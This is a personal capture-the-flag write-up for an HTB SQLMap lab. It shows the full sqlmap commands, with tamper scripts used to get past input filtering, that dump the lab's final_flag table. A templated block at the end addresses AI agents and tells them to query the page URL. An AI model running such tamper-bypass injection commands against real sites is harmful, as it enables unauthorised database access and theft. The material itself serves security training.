# Skills Assessment

What's the contents of table final\_flag?

> Hint: First, navigate the website to find potential attack vectors. Then, try to use various security bypassing techniques you learned to get SQL injection working.

Alright! We can see a web store:

<figure><img src="/files/gAPm6EBl7WQD2XGRcFWu" alt=""><figcaption></figcaption></figure>

> After at time and search information i found the endpoint

We can se into the CATALOG/Shop a button with name "ADD TO CART" and it do something

<figure><img src="/files/5w3aRyshRoKfvhzAPIKj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vMNcI0F0Y4rTYVEppgjQ" alt="" width="362"><figcaption></figcaption></figure>

I can intercept this peticcion with burpsuit and see the traffic -->

<figure><img src="/files/v8sKxtzZgu3rsiJpusus" alt=""><figcaption></figcaption></figure>

Curious... allright, i will to save this peticcion and drop to sqlmap

> Click into peticion + Copy to file + save .txt

```
 sqlmap -r sqlmap.txt -p id --level=5 --risk=3 --batch
```

But... it dosent work... maybe we need use samethings tampers scripts, example -->

```
sqlmap -r sqlmap.txt -p id --level=5 --risk=3 --batch --tamper=between,randomcase
```

<figure><img src="/files/SGUCdpN8VN33bleAVAvd" alt=""><figcaption></figcaption></figure>

NICE! It is! We can now dump the table with name "final\_flag" :

```
sqlmap -r sqlmap.txt -p id --level=5 --risk=3 --batch --tamper=between,randomcase -T final_flag --dump
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cbbh/sqlmap-essentials/skills-assessment.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.